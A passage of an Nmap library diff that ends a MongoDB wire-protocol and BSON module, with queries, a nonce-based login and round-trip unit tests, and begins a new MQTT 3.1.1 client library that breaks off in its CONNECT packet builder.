+
+ local obj_size = string.unpack("<i4", data)
+
+ dbg("BSon packet size is %s", obj_size)
+
+ -- Check that all data is read and the packet is complete
+ if data:len() < obj_size then
+ return false,obj_size
+ end
+ return true,obj_size
+end
+
+-- Converts bson binary data read from socket into a table
+-- of elements
+--@param data: binary data
+--@return table containing elements
+--@return remaining data
+--@return error message if not enough data was in packet
+function fromBson(data)
+
+ dbg("Decoding, got %s bytes of data", data:len())
+ local complete, object_size = isPacketComplete(data)
+
+ if not complete then
+ local err_msg = ("Not enough data in buffer, expected %s but only has %d"):format(object_size or "?", data:len())
+ dbg(err_msg)
+ return {},data, err_msg
+ end
+
+ if data:byte(object_size) ~= 0 then
+ local err_msg = "Invalid BSON: no null terminator"
+ dbg(err_msg)
+ return nil, data, err_msg
+ end
+
+ local element_portion = data:sub(5,object_size - 1) -- terminator belongs to outer doc
+ local remainder = data:sub(object_size+1)
+ dbg("element: %s\nremainder: %s", stdnse.tohex(element_portion), stdnse.tohex(remainder))
+ local dict, err = _elements_to_dict(element_portion)
+ return dict, remainder, err
+end
+
+
+----------------------------------------------------------------------------------
+-- Test-code for debugging purposes below
+----------------------------------------------------------------------------------
+function testBson()
+ local p = toBson({hello="world", test="ok"})
+
+ print( "Encoded something ok")
+ local orig = fromBson(p)
+ print(" Decoded something else ok")
+ for i,v in pairs(orig) do
+ print(i,v)
+ end
+end
+--testBson()
+--------------------------------------------------------------------------------------------------------------
+--- END of BSON part
+--------------------------------------------------------------------------------------------------------------
+
+
+--[[ MongoDB wire protocol format
+
+Standard message header :
+struct {
+ int32 messageLength; // total size of the message, including the 4 bytes of length
+ int32 requestID; // client or database-generated identifier for this message
+ int32 responseTo; // requestID from the original request (used in responses from db)
+ int32 opCode; // request type - see table below
+}
+
+Opcodes :
+OP_REPLY 1 Reply to a client request. responseTo is set
+OP_MSG 1000 generic msg command followed by a string
+OP_UPDATE 2001 update document
+OP_INSERT 2002 insert new document
+OP_GET_BY_OID 2003 is this used?
+OP_QUERY 2004 query a collection
+OP_GET_MORE 2005 Get more data from a query. See Cursors
+OP_DELETE 2006 Delete documents
+OP_KILL_CURSORS 2007 Tell database client is done with a cursor
+
+Query message :
+struct {
+ MsgHeader header; // standard message header
+ int32 opts; // query options. See below for details.
+ cstring fullCollectionName; // "dbname.collectionname"
+ int32 numberToSkip; // number of documents to skip when returning results
+ int32 numberToReturn; // number of documents to return in the first OP_REPLY
+ BSON query ; // query object. See below for details.
+ [ BSON returnFieldSelector; ] // OPTIONAL : selector indicating the fields to return. See below for details.
+}
+
+For more info about the MongoDB wire protocol, see http://www.mongodb.org/display/DOCS/Mongo+Wire+Protocol
+
+--]]
+
+-- DIY lua-class to create Mongo packets
+--@usage call MongoData:new({opCode=MongoData.OP.QUERY}) to create query object
+MongoData ={
+ uniqueRequestId = 12345,
+ -- Opcodes used by Mongo db
+ OP = {
+ REPLY = 1,
+ MSG = 1000,
+ UPDATE = 2001,
+ INSERT = 2002,
+ GET_BY_IOD = 2003,
+ QUERY = 2004,
+ GET_MORE = 2005,
+ DELETE = 2006,
+ KILL_CURSORS = 2007,
+ },
+ -- Lua-DIY constructor
+ new = function (self,o,opCode,responseTo)
+ o = o or {} -- create object if user does not provide one
+ setmetatable(o, self) -- DIY inheritance a'la javascript
+ self.__index = self
+ self.valueString = ''
+ self.requestID = MongoData.uniqueRequestId -- Create unique id for message
+ MongoData.uniqueRequestId = MongoData.uniqueRequestId +1
+ return o
+ end
+}
+--Adds signed int32 to the message body
+--@param value the value to add
+function MongoData:addInt32(value)
+ self.valueString = self.valueString..string.pack("<i4",value)
+end
+-- Adds a string to the message body
+--@param value the string to add
+function MongoData:addString(value)
+ self.valueString = self.valueString..string.pack('z',value)
+end
+-- Add a table as a BSon object to the body
+--@param dict the table to be converted to BSon
+--@return status : true if ok, false if error occurred
+--@return Error message if error occurred
+function MongoData:addBSON(dict)
+ -- status, res = bson.toBson(dict)
+ local status, res = toBson(dict)
+ if not status then
+ dbg(res)
+ return status,res
+ end
+
+ self.valueString = self.valueString..res
+ return true
+end
+-- Returns the data in this packet in a raw string format to be sent on socket
+-- This method creates necessary header information and puts it with the body
+function MongoData:data()
+ local header = MongoData:new()
+ header:addInt32( self.valueString:len()+4+4+4+4)
+ header:addInt32( self.requestID)
+ header:addInt32( self.responseTo or -1)
+ header:addInt32( self.opCode)
+ return header.valueString .. self.valueString
+end
+-- Creates a query
+-- @param collectionName string specifying the collection to run query against
+-- @param a table containing the query
+--@return status : true for OK, false for error
+--@return packet data OR error message
+local function createQuery(collectionName, query)
+ local packet = MongoData:new({opCode=MongoData.OP.QUERY})
+ packet:addInt32(0); -- options
+ packet:addString(collectionName);
+ packet:addInt32(0) -- number to skip
+ -- NB: Using value of -1 for "no limit" below is suspect. The protocol
+ -- interprets -1 as requesting only one document, not all documents.
+ -- https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/#wire-op-query
+ packet:addInt32(-1) -- number to return : no limit
+ local status, error = packet:addBSON(query)
+
+ if not status then
+ return status, error
+ end
+
+ return true, packet:data()
+end
+-- Creates a get last error query
+-- @param responseTo optional identifier this packet is a response to
+--@return status : true for OK, false for error
+--@return packet data OR error message
+function lastErrorQuery(responseTo)
+ local collectionName = "test.$cmd"
+ local query = {getlasterror=1}
+ return createQuery(collectionName, query)
+end
+-- Creates a server status query
+-- @param responseTo optional identifier this packet is a response to
+--@return status : true for OK, false for error
+--@return packet data OR error message
+function serverStatusQuery(responseTo)
+ local collectionName = "test.$cmd"
+ local query = {serverStatus = 1}
+ return createQuery(collectionName, query)
+end
+-- Creates a optime query
+-- @param responseTo optional identifier this packet is a response to
+--@return status : true for OK, false for error
+--@return packet data OR error message
+function opTimeQuery(responseTo)
+ local collectionName = "test.$cmd"
+ local query = {getoptime = 1}
+ return createQuery(collectionName, query)
+end
+-- Creates a list databases query
+-- @param responseTo optional identifier this packet is a response to
+--@return status : true for OK, false for error
+--@return packet data OR error message
+function listDbQuery(responseTo)
+ local collectionName = "admin.$cmd"
+ local query = {listDatabases = 1}
+ return createQuery(collectionName, query)
+end
+-- Creates a build info query
+-- @param responseTo optional identifier this packet is a response to
+--@return status : true for OK, false for error
+--@return packet data OR error message
+--@return status : true for OK, false for error
+--@return packet data OR error message
+function buildInfoQuery(responseTo)
+ local collectionName = "admin.$cmd"
+ local query = {buildinfo = 1}
+ return createQuery(collectionName, query)
+end
+--Reads an int32 from data
+--@return int32 value
+--@return data unread
+local function parseInt32(data)
+ local val, pos = string.unpack("<i4", data)
+ return val, data:sub(pos)
+end
+local function parseInt64(data)
+ local val, pos = string.unpack("<i8", data)
+ return val, data:sub(pos)
+end
+-- Parses response header
+-- The response header looks like this :
+--[[
+struct {
+ MsgHeader header; // standard message header
+ int32 responseFlag; // normally zero, non-zero on query failure
+ int64 cursorID; // id of the cursor created for this query response
+ int32 startingFrom; // indicates where in the cursor this reply is starting
+ int32 numberReturned; // number of documents in the reply
+ BSON[] documents; // documents
+}
+--]]
+--@param the data from socket
+--@return a table containing the header data
+local function parseResponseHeader(data)
+ local response= {}
+ local hdr, rflag, cID, sfrom, nRet, docs
+
+ -- First std message header
+ hdr ={}
+ hdr["messageLength"], data = parseInt32(data)
+ hdr["requestID"], data = parseInt32(data)
+ hdr["responseTo"], data = parseInt32(data)
+ hdr["opCode"], data = parseInt32(data)
+ response["header"] = hdr
+ -- Some additional fields
+ response["responseFlag"] ,data = parseInt32(data)
+ response["cursorID"] ,data = parseInt64(data)
+ response["startingFrom"] ,data = parseInt32(data)
+ response["numberReturned"] ,data = parseInt32(data)
+ response["bson"] = data
+ return response
+end
+--Checks if enough data to parse the result is captured
+--@data binary mongodb data read from socket
+--@return true if the full mongodb packet is contained in the data, false if data is incomplete
+--@return required size of packet, if known, otherwise nil
+function isPacketComplete(data)
+ -- First, we check that the header is complete
+ if data:len() < 4 then
+ local err_msg = "Not enough data in buffer, at least 4 bytes header info expected"
+ return false
+ end
+
+ local obj_size = string.unpack("<i4", data)
+
+ dbg("MongoDb Packet size is %s, (got %d)", obj_size,data:len())
+
+ -- Check that all data is read and the packet is complete
+ if data:len() < obj_size then
+ return false,obj_size
+ end
+ return true,obj_size
+end
+
+-- Sends a packet over a socket, reads the response
+-- and parses it into a table
+--@return status : true if ok; false if bad
+--@return result : table of status ok, error msg if bad
+--@return if status ok : remaining data read from socket but not used
+function query(socket, data)
+ --Create an error handler
+ local catch = function()
+ socket:close()
+ stdnse.debug1("Query failed")
+ end
+ local try = nmap.new_try(catch)
+
+ try( socket:send( data ) )
+
+ local data = ""
+ local result = {}
+ local err_msg
+ local isComplete, pSize
+ while not isComplete do
+ dbg("mongo: waiting for data from socket, got %d bytes so far...",data:len())
+ data = data .. try( socket:receive() )
+ isComplete, pSize = isPacketComplete(data)
+ end
+ -- All required data should be read now
+ local packetData = data:sub(1,pSize)
+ local residualData = data:sub(pSize+1)
+ local responseHeader = parseResponseHeader(packetData)
+
+ if responseHeader["responseFlag"] ~= 0 then
+ dbg("Response flag not zero : %d, some error occurred", responseHeader["responseFlag"])
+ end
+
+ local bsonData = responseHeader["bson"]
+ if #bsonData == 0 then
+ dbg("No BSon data returned ")
+ return false, "No Bson data returned"
+ end
+
+ -- result, data, err_msg = bson.fromBson(bsonData)
+ result, data, err_msg = fromBson(bsonData)
+
+ if err_msg then
+ dbg("Got error converting from bson: %s" , err_msg)
+ return false, ("Got error converting from bson: %s"):format(err_msg)
+ end
+ return true,result, residualData
+end
+
+function login(socket, db, username, password)
+
+ local collectionName = ("%s.$cmd"):format(arg_DB or db)
+ local q = { getnonce = 1 }
+ local status, packet = createQuery(collectionName, q)
+ local response
+ status, response = query(socket, packet)
+ if ( not(status) or not(response.nonce) ) then
+ return false, "Failed to retrieve nonce"
+ end
+
+ local nonce = response.nonce
+ local pwdigest = stdnse.tohex(openssl.md5(username .. ':mongo:' ..password))
+ local digest = stdnse.tohex(openssl.md5(nonce .. username .. pwdigest))
+
+ q = { user = username, nonce = nonce, key = digest }
+ q._cmd = { authenticate = 1 }
+
+ local status, packet = createQuery(collectionName, q)
+ status, response = query(socket, packet)
+ if ( not(status) ) then
+ return status, response
+ elseif ( response.errmsg == "auth fails" ) then
+ return false, "Authentication failed"
+ elseif ( response.errmsg ) then
+ return false, response.errmsg
+ end
+ return status, response
+end
+
+
+--- Converts a query result as received from MongoDB query into nmap "result" table
+-- @param resultTable table as returned from a query
+-- @return table suitable for <code>stdnse.format_output</code>
+function queryResultToTable( resultTable )
+
+ local result = {}
+ for k,v in pairs( resultTable ) do
+ if type(v) == 'table' then
+ table.insert(result,k)
+ table.insert(result,queryResultToTable(v))
+ else
+ table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
+ end
+ end
+ return result
+
+end
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+
+-- https://github.com/mongodb/mongo-python-driver/blob/master/test/bson_corpus/
+local TESTS = {
+ -- 0x01 = BSONNUM, float
+ { desc = "BSONNUM: +1.0",
+ bson = "10000000016400000000000000F03F00",
+ obj = {d = {1.0}}
+ },
+ { desc = "BSONNUM: -1.0",
+ bson = "10000000016400000000000000F0BF00",
+ obj = {d = {-1.0}}
+ },
+ { desc = "BSONNUM: +1.0001220703125",
+ bson = "10000000016400000000008000F03F00",
+ obj = {d = {1.0001220703125}}
+ },
+ { desc = "BSONNUM: -1.0001220703125",
+ bson = "10000000016400000000008000F0BF00",
+ obj = {d = {-1.0001220703125}}
+ },
+ { desc = "BSONNUM: 1.2345678921232E+18",
+ bson = "100000000164002a1bf5f41022b14300",
+ obj = {d = {1.2345678921232e18}}
+ },
+ { desc = "BSONNUM: -1.2345678921232E+18",
+ bson = "100000000164002a1bf5f41022b1c300",
+ obj = {d = {-1.2345678921232e18}}
+ },
+ { desc = "BSONNUM: 0.0",
+ bson = "10000000016400000000000000000000",
+ obj = {d = {0.0}}
+ },
+ { desc = "BSONNUM: -0.0",
+ bson = "10000000016400000000000000008000",
+ obj = {d = {-0.0}}
+ },
+ -- Lua 5.3 safely round-trips all of these floats!
+ { desc = "BSONNUM: NaN",
+ bson = "10000000016400000000000000F87F00",
+ test = function(o) return tostring(o.d) == "nan" end
+ },
+ { desc = "BSONNUM: NaN with payload",
+ bson = "10000000016400120000000000F87F00",
+ test = function(o) return tostring(o.d) == "nan" end
+ },
+ { desc = "BSONNUM: Inf",
+ bson = "10000000016400000000000000F07F00",
+ test = function(o) return tostring(o.d) == "inf" end
+ },
+ { desc = "BSONNUM: -Inf",
+ bson = "10000000016400000000000000F0FF00",
+ test = function(o) return tostring(o.d) == "-inf" end
+ },
+ { desc = "bad BSONNUM: double truncated", invalid = true,
+ bson = "0B0000000164000000F03F00"
+ },
+ -- 0x02 = BSONSTR, string
+ { desc = "BSONSTR: Empty string", bson = "0D000000026100010000000000",
+ obj = {a = ""}
+ },
+ { desc = "BSONSTR: Single character", bson = "0E00000002610002000000620000",
+ obj = {a = "b"}
+ },
+ { desc = "BSONSTR: Multi-character",
+ bson = "190000000261000D0000006162616261626162616261620000",
+ obj = {a = "abababababab"}
+ },
+ { desc = "BSONSTR: Embedded nulls",
+ bson = "190000000261000D0000006162006261620062616261620000",
+ obj = {a = "ab\x00bab\x00babab"}
+ },
+ { desc = "BSONSTR: bad string length: 0 (but no 0x00 either)", invalid = true,
+ bson = "0C0000000261000000000000"
+ },
+ { desc = "BSONSTR: bad string length: -1", invalid = true,
+ bson = "0C000000026100FFFFFFFF00"
+ },
+ { desc = "BSONSTR: bad string length: eats terminator", invalid = true,
+ bson = "10000000026100050000006200620000"
+ },
+ { desc = "BSONSTR: bad string length: longer than rest of document", invalid = true,
+ bson = "120000000200FFFFFF00666F6F6261720000"
+ },
+ { desc = "BSONSTR: string is not null-terminated", invalid = true,
+ bson = "1000000002610004000000616263FF00"
+ },
+ { desc = "BSONSTR: empty string, but extra null", invalid = true,
+ bson = "0E00000002610001000000000000"
+ },
+ { desc = "Empty array", bson = "0D000000046100050000000000",
+ -- Should probably use json.make_array and json.typeof for this.
+ FAIL = "Can't distinguish array vs object table",
+ obj = {a = {}}
+ },
+ { desc = "single element array", bson = "140000000461000C0000001030000A0000000000",
+ FAIL = "Can't distinguish array vs object table",
+ obj = {a = {10}}
+ },
+ { desc = "single element with empty index",
+ bson = "130000000461000B00000010000A0000000000",
+ fixed = "140000000461000C0000001030000A0000000000",
+ FAIL = "Can't distinguish array vs object table",
+ obj = {a = {10}}
+ },
+ { desc = "bad array: too long", invalid = true,
+ bson = "140000000461000D0000001030000A0000000000",
+ },
+ { desc = "bad array: too short", invalid = true,
+ bson = "140000000461000B0000001030000A0000000000"
+ },
+ { desc = "bad array: bad string length", invalid = true,
+ bson = "1A00000004666F6F00100000000230000500000062617A000000"
+ },
+ { desc = "BSONBIN: subtype 0x00 (Zero-length)", bson = "0D000000057800000000000000",
+ FAIL = "No encoder for BSONBIN type",
+ obj = {x = "Binary subtype 0: "}
+ },
+ { desc = "BSONBIN: subtype 0x00", bson = "0F0000000578000200000000FFFF00",
+ FAIL = "No encoder for BSONBIN type",
+ obj = {x = "Binary subtype 0: ffff"}
+ },
+ { desc = "BSONBIN: subtype 0x01", bson = "0F0000000578000200000001FFFF00",
+ FAIL = "No encoder for BSONBIN type",
+ obj = {x = "Binary subtype 1: ffff"}
+ },
+ { desc = "BSONBIN: subtype 0x03",
+ bson = "1D000000057800100000000373FFD26444B34C6990E8E7D1DFC035D400",
+ FAIL = "No encoder for BSONBIN type",
+ obj = {x = "Binary subtype 3: 73ffd26444b34c6990e8e7d1dfc035d4"}
+ },
+ { desc = "BSONBIN: Length longer than document", invalid = true,
+ bson = "1D000000057800FF0000000573FFD26444B34C6990E8E7D1DFC035D400"
+ },
+ { desc = "BSONBIN: Negative length", invalid = true,
+ bson = "0D000000057800FFFFFFFF0000"
+ },
+ { desc = "BSONBIN: subtype 0x02 length too long ", invalid = true,
+ bson = "13000000057800060000000203000000FFFF00"
+ },
+ { desc = "BSONBIN: subtype 0x02 length too short", invalid = true,
+ bson = "13000000057800060000000201000000FFFF00"
+ },
+ { desc = "BSONBIN: subtype 0x02 length negative one", invalid = true,
+ bson = "130000000578000600000002FFFFFFFFFFFF00"
+ },
+ { desc = "Int32 MinValue", bson = "0C0000001069000000008000",
+ obj = {i = -2147483648}
+ },
+ { desc = "Int32: MaxValue", bson = "0C000000106900FFFFFF7F00",
+ obj = {i = 2147483647}
+ },
+ { desc = "Int32: -1", bson = "0C000000106900FFFFFFFF00",
+ obj = {i = -1}
+ },
+ { desc = "Int32: 0", bson = "0C0000001069000000000000",
+ obj = {i = 0}
+ },
+ { desc = "Int32: 1", bson = "0C0000001069000100000000",
+ obj = {i = 1}
+ },
+ { desc = "Int32: Bad int32 field length", invalid = true,
+ bson = "090000001061000500"
+ }
+}
+test_suite = unittest.TestSuite:new()
+
+local equal = unittest.equal
+local is_nil = unittest.is_nil
+local is_true = unittest.is_true
+local type_is = unittest.type_is
+
+for _, test in ipairs(TESTS) do
+ dbg("Loading test %s...", test.desc)
+ local fmt = function(description)
+ return ("%s: %s"):format(test.desc, description)
+ end
+
+ local binary = stdnse.fromhex(test.bson)
+ local obj, rem, err = fromBson(binary)
+ if test.invalid then
+ dbg("Expect error, type is %s: %s", type(err), err)
+ test_suite:add_test(type_is("string", err), fmt("Error reported for invalid BSON"))
+ else
+ test_suite:add_test(type_is("table", obj), fmt("BSON parsed to table"))
+ test_suite:add_test(is_nil(err), fmt("No error reported for valid BSON"))
+
+ local status, bsonout = toBson(obj)
+ test_suite:add_test(is_true(status), fmt("toBson succeeds"))
+ test_suite:add_test(equal(type(bsonout), "string"), fmt("toBson returns string"))
+
+ -- round-trip test. Some "bad" encodings are ok but will generate different bson
+ local rttest = equal(stdnse.tohex(bsonout), test.fixed and test.fixed or stdnse.tohex(binary))
+ -- Our library is incomplete in some ways as noted in FAIL
+ if test.FAIL then
+ rttest = unittest.expected_failure(rttest)
+ end
+ test_suite:add_test(rttest, fmt("Round-trip encoding matches"))
+ if test.test then
+ test_suite:add_test(is_true(test.test(obj)), fmt("Extra test"))
+ end
+ end
+end
+return _ENV;
diff --git a/nselib/mqtt.lua b/nselib/mqtt.lua
new file mode 100644
index 0000000..f058740
--- /dev/null
+++ b/nselib/mqtt.lua
@@ -0,0 +1,1016 @@
+local comm = require "comm"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unittest = require "unittest"
+local rand = require "rand"
+
+_ENV = stdnse.module("mqtt", stdnse.seeall)
+
+---
+-- An implementation of MQTT 3.1.1
+-- https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
+--
+-- This library does not currently implement the entire MQTT protocol,
+-- only those control packets which are necessary for existing scripts
+-- are included. Extending to accommodate additional control packets
+-- should not be difficult.
+--
+-- @author "Mak Kolybabi <mak@kolybabi.com>"
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+MQTT = {
+ -- Types of control packets
+ packet = {
+ ["CONNECT"] = {
+ number = 1,
+ options = {
+ "client_id",
+ "keep_alive_secs",
+ "password",
+ "username",
+ "will_message",
+ "will_topic",
+ "clean_session",
+ "will_qos",
+ "will_retain",
+ "protocol_level",
+ "protocol_name",
+ },
+ build = nil,
+ parse = nil,
+ },
+ ["CONNACK"] = {
+ number = 2,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PUBLISH"] = {
+ number = 3,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PUBACK"] = {
+ number = 4,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PUBREC"] = {
+ number = 5,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PUBREL"] = {
+ number = 6,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PUBCOMP"] = {
+ number = 7,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["SUBSCRIBE"] = {
+ number = 8,
+ options = {
+ "filters",
+ },
+ build = nil,
+ parse = nil,
+ },
+ ["SUBACK"] = {
+ number = 9,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["UNSUBSCRIBE"] = {
+ number = 10,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["UNSUBACK"] = {
+ number = 11,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PINGREQ"] = {
+ number = 12,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["PINGRESP"] = {
+ number = 13,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ ["DISCONNECT"] = {
+ number = 14,
+ options = {},
+ build = nil,
+ parse = nil,
+ },
+ },
+}
+
+Comm = {
+ --- Creates a new Client instance.
+ --
+ -- @name Comm.new
+ --
+ -- @param host Table as received by the action method.
+ -- @param port Table as received by the action method.
+ -- @param options Table as received by the action method.
+ -- @return o Instance of Client.
+ new = function(self, host, port, options)
+ local o = {host = host, port = port, options = options or {}}
+ o["packet_id"] = 0
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the MQTT broker.
+ --
+ -- @name Comm.connect
+ --
+ -- @return status true on success, false on failure.
+ -- @return err string containing the error message on failure.
+ connect = function(self, options)
+ -- Build the CONNECT control packet that initiates an MQTT session.
+ local status, pkt = self:build("CONNECT", options)
+ if not status then
+ return false, pkt
+ end
+
+ -- The MQTT protocol requires us to sent the initial CONNECT
+ -- control packet before it will respond.
+ local sd, response, _, _ = comm.tryssl(self.host, self.port, pkt)
+ if not sd then
+ return false, response
+ end
+
+ -- The socket connected successfully over whichever protocol.
+ self.socket = sd
+
+ -- We now have some data that came back from the connection, which
+ -- the protocol guarantees will be the 4-byte CONNACK packet.
+ if #response ~= 4 then
+ return false, "More bytes were returned from tryssl() than expected."
+ end
+
+ return self:parse(response)
+ end,
+
+ --- Sends an MQTT control packet.
+ --
+ -- @name Comm.send
+ --
+ -- @param pkt String representing a raw control packet.
+ -- @return status true on success, false on failure.
+ -- @return err string containing the error message on failure.
+ send = function(self, pkt)
+ return self.socket:send(pkt)
+ end,
+
+ --- Receives an MQTT control packet.
+ --
+ -- @name Comm.receive
+ --
+ -- @return status True on success, false on failure.
+ -- @return response String representing a raw control packet on
+ -- success, string containing the error message on failure.
+ receive = function(self)
+ -- Receive the type and flags of the response packet's fixed header.
+ local status, type_and_flags = self.socket:receive_buf(match.numbytes(1), true)
+ if not status then
+ return false, "Failed to receive control packet from server."
+ end
+
+ -- To avoid reimplementing the length parsing, we will perform a
+ -- naive loop that gets the correct number of bytes for the
+ -- variable-length numeric field without interpreting it.
+ local length = ""
+ for i = 1, 4 do
+ -- Get the next byte from the socket.
+ local status, chunk = self.socket:receive_buf(match.numbytes(1), true)
+ if not status then
+ return false, chunk
+ end
+
+ -- Add the received data to the length buffer.
+ length = length .. chunk
+
+ -- If the byte has the continuation bit cleared, stop receiving.
+ local byte = string.unpack("B", chunk)
+ if byte < 128 then
+ break
+ end
+ end
+
+ -- Parse the length buffer.
+ local pos, num = MQTT.length_parse(length)
+ if not pos then
+ return false, num
+ end
+
+ -- Get the remainder of the packet from the socket.
+ local status, body = self.socket:receive_buf(match.numbytes(num), true)
+ if not status then
+ return false, body
+ end
+ assert(#body == num)
+
+ -- Reassemble the packet.
+ local pkt = type_and_flags .. length .. body
+ assert(#pkt == 1 + #length + num)
+
+ return true, pkt
+ end,
+
+ --- Builds an MQTT control packet.
+ --
+ -- @name Comm.build
+ --
+ -- @param type Type of MQTT control packet to build.
+ -- @param options Table of options accepted by the requested type of
+ -- control packet.
+ -- @return status true on success, false on failure.
+ -- @return response String representing a raw control packet on
+ -- success, or containing the error message on failure.
+ build = function(self, type, options)
+ -- Ensure the requested packet type is known.
+ local pkt = MQTT.packet[type]
+ assert(pkt, ("Control packet type '%s' is not known."):format(type))
+
+ -- Ensure the requested packet type is handled.
+ local fn = pkt.build
+ assert(fn, ("Control packet type '%s' has not been implemented."):format(type))
+
+ -- Validate the options.
+ options = options or {}
+ local o = {["packet_id"] = self:packet_identifier()}
+ for _, key in pairs(pkt.options) do
+ o[key] = false
+ end
+
+ for key, val in pairs(options) do
+ -- Reject unrecognized options.
+ assert(o[key] ~= nil, ("Control packet type '%s' does not have the option '%s'."):format(type, key))
+ o[key] = val
+ end
+
+ -- Build the packet as specified.
+ local status, pkt = fn(o)
+ if not status then
+ return status, pkt
+ end
+
+ -- Send the packet.
+ return true, pkt
+ end,
+
+ --- Parses an MQTT control packet.
+ --
+ -- @name Comm.parse
+ --
+ -- @param buf String from which to parse the control packet.
+ -- @param pos Position from which to start parsing.
+ -- @return pos String index on success, false on failure.
+ -- @return response Table representing a control packet on success,
+ -- string containing the error message on failure.
+ parse = function(self, buf, pos)
+ assert(type(buf) == "string")
+
+ pos = pos or 1
+ assert(type(pos) == "number")
+
+ -- Parse the type and flags of the control packet's fixed header.
+ if pos > #buf then
+ return false, "Failed to parse control packet."
+ end
+ local type_and_flags, pos = string.unpack("B", buf, pos)
+
+ -- Parse the remaining length.
+ local pos, length = MQTT.length_parse(buf, pos)
+ if not pos then
+ return false, length
+ end
+
+ -- Extract the body.
+ local end_pos = pos + length
+ if end_pos - 1 > #buf then
+ return false, ("End of packet body (%d) is goes past end of buffer (%d)."):format(end_pos, #buf)
+ end
+ local body = buf:sub(pos, end_pos)
+ pos = end_pos
+
+ -- Parse type and flags.
+ local type = type_and_flags >> 4
+ local fhflags = type_and_flags & 0x0F
+
+ -- Search for the definition of the packet type.
+ local def = nil
+ for key, val in pairs(MQTT.packet) do
+ if val.number == type then
+ type = key
+ def = val
+ break
+ end
+ end
+
+ -- Ensure the requested packet type is handled.
+ if not def then
+ return false, ("Control packet type '%d' is not known."):format(type)
+ end
+
+ -- Ensure the requested packet type is handled.
+ local fn = def.parse
+ if not fn then
+ return false, ("Control packet type '%s' is not implemented."):format(type)
+ end
+
+ -- Parse the packet
+ local status, response = fn(fhflags, body)
+ if not status then
+ return false, response
+ end
+
+ return pos, response
+ end,
+
+ --- Disconnects from the MQTT broker.
+ --
+ -- @name Comm.close
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ --- Generates a packet identifier.
+ --
+ -- @name Comm.packet_identifier
+ --
+ -- See "2.3.1 Packet Identifier" section of the standard.
+ --
+ -- @return Unique identifier for a packet.
+ packet_identifier = function(self)
+ self.packet_id = self.packet_id + 1
+ local num = string.pack(">I2", self.packet_id)
+ return num
+ end,
+}
+
+Helper = {
+ --- Creates a new Helper instance.
+ --
+ -- @name Helper.create
+ --
+ -- @param host Table as received by the action method.
+ -- @param port Table as received by the action method.
+ -- @return o instance of Client
+ new = function(self, host, port, opt)
+ local o = { host = host, port = port, opt = opt or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the MQTT broker.
+ --
+ -- @name Helper.connect
+ --
+ -- @param options Table of options for the CONNECT control packet.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing a CONNACK control packet on
+ -- success, string containing the error message on failure.
+ connect = function(self, options)
+ self.comm = Comm:new(self.host, self.port, self.opt)
+ return self.comm:connect(options)
+ end,
+
+ --- Sends a request to the MQTT broker.
+ --
+ -- @name Helper.send
+ --
+ -- @param req_type Type of control packet to build and send.
+ -- @param options Table of options for the request control packet.
+ -- @return status True on success, false on failure.
+ -- @return err String containing the error message on failure.
+ send = function(self, req_type, options)
+ assert(type(req_type) == "string")
+
+ local status, pkt = self.comm:build(req_type, options)
+ if not status then
+ return false, pkt
+ end
+
+ return self.comm:send(pkt)
+ end,
+
+ --- Sends a request to the MQTT broker, and receive a response.
+ --
+ -- @name Helper.request
+ --
+ -- @param req_type Type of control packet to build and send.
+ -- @param options Table of options for the request control packet.
+ -- @param res_type Type of control packet to receive and parse.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing a <code>res_type</code>
+ -- control packet on success, string containing the error
+ -- message on failure.
+ request = function(self, req_type, options, res_type)
+ local status, pkt = self:send(req_type, options)
+ if not status then
+ return false, pkt
+ end
+
+ return self:receive({res_type})
+ end,
+
+ --- Listens for a response matching a list of types.
+ --
+ -- @name Helper.receive
+ --
+ -- @param types Type of control packet to build and send.
+ -- @param timeout Number of seconds to listen for matching response,
+ -- defaults to 5s.
+ -- @param res_type Table of types of control packet to receive and
+ -- parse.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing any <code>res_type</code>
+ -- control packet on success, string containing the error
+ -- message on failure.
+ receive = function(self, types, timeout)
+ assert(type(types) == "table")
+
+ if not timeout then
+ timeout = 5
+ end
+ assert(type(timeout) == "number")
+
+ local end_time = nmap.clock_ms() + timeout * 1000
+ while true do
+ -- Get the raw packet from the socket.
+ local status, pkt = self.comm:receive()
+ if not status then
+ return false, pkt
+ end
+
+ -- Parse the raw packet into a table.
+ local status, result = self.comm:parse(pkt)
+ if not status then
+ return false, result
+ end
+
+ -- Check for messages matching our filters.
+ for _, type in pairs(types) do
+ if result.type == type then
+ return true, result
+ end
+ end
+
+ -- Check timeout, but only if we care about it.
+ if timeout > 0 then
+ if nmap.clock_ms() >= end_time then
+ break
+ end
+ end
+ end
+
+ return false, ("No messages received in %d seconds matching desired types."):format(timeout)
+ end,
+
+ -- Closes the socket with the server.
+ --
+ -- @name Helper.close
+ close = function(self)
+ self:send("DISCONNECT")
+ return self.comm:close()
+ end,
+}
+
+--- Build an MQTT CONNECT control packet.
+--
+-- See "3.1 CONNECT – Client requests a connection to a Server"
+-- section of the standard.
+--
+-- @param options Table of options accepted by this type of control
+-- packet.
+-- @return A string representing a CONNECT control packet.
+MQTT.packet["CONNECT"].build = function(options)
+ assert(type(options) == "table")
+
+ local head = ""
+ local tail = ""
+
+ -- 3.1.2.1 Protocol Name
